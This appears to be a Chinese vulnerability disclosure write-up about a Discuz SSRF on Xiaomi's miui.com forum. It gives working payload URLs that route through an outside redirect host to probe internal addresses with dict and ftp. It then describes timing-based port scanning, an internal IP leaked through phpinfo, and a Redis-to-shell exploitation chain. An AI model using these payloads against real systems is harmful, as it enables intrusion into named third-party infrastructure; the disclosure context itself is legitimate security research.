#1 存在漏洞位置,Discuz 论坛SSRF漏洞
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?data=helo.jpg[/img]
#2 服务器支持dict、ftp、http协议
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict%26ip=fuzz.wuyun.com%26port=8080%26data=helo.jpg[/img]
#3 通过信息泄露找到内网地址
phpinfo() 泄露服务器ip地址
http://game.xiaomi.com/activity/info.php

#4 内网服务探测规则原理分析
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080
访问存在开放的8080端口,网页在1s内加载完成
http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080
利用ftp协议访问开放的8080端口,网页保持Keep-Alive状态,直到出发nginx的超时
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011
访问不存在的端口11011,触发了小米nginx的超时, 3.1s内加载完成
也就是说,我们可以通过页面加载完成时间,来探测内网开放的端口服务
#5 Know it, then Hack it
通过python的requests,设置一个timeout值,只要http请求2.8秒内没有响应,直接断开,如果成功响应,就说明端口开放
#6 6379 端口开放结果
#7 使用dict协议进行远程利用
# 附加补充源码
302.php
shell.php
# 后话,成功获取到SHELL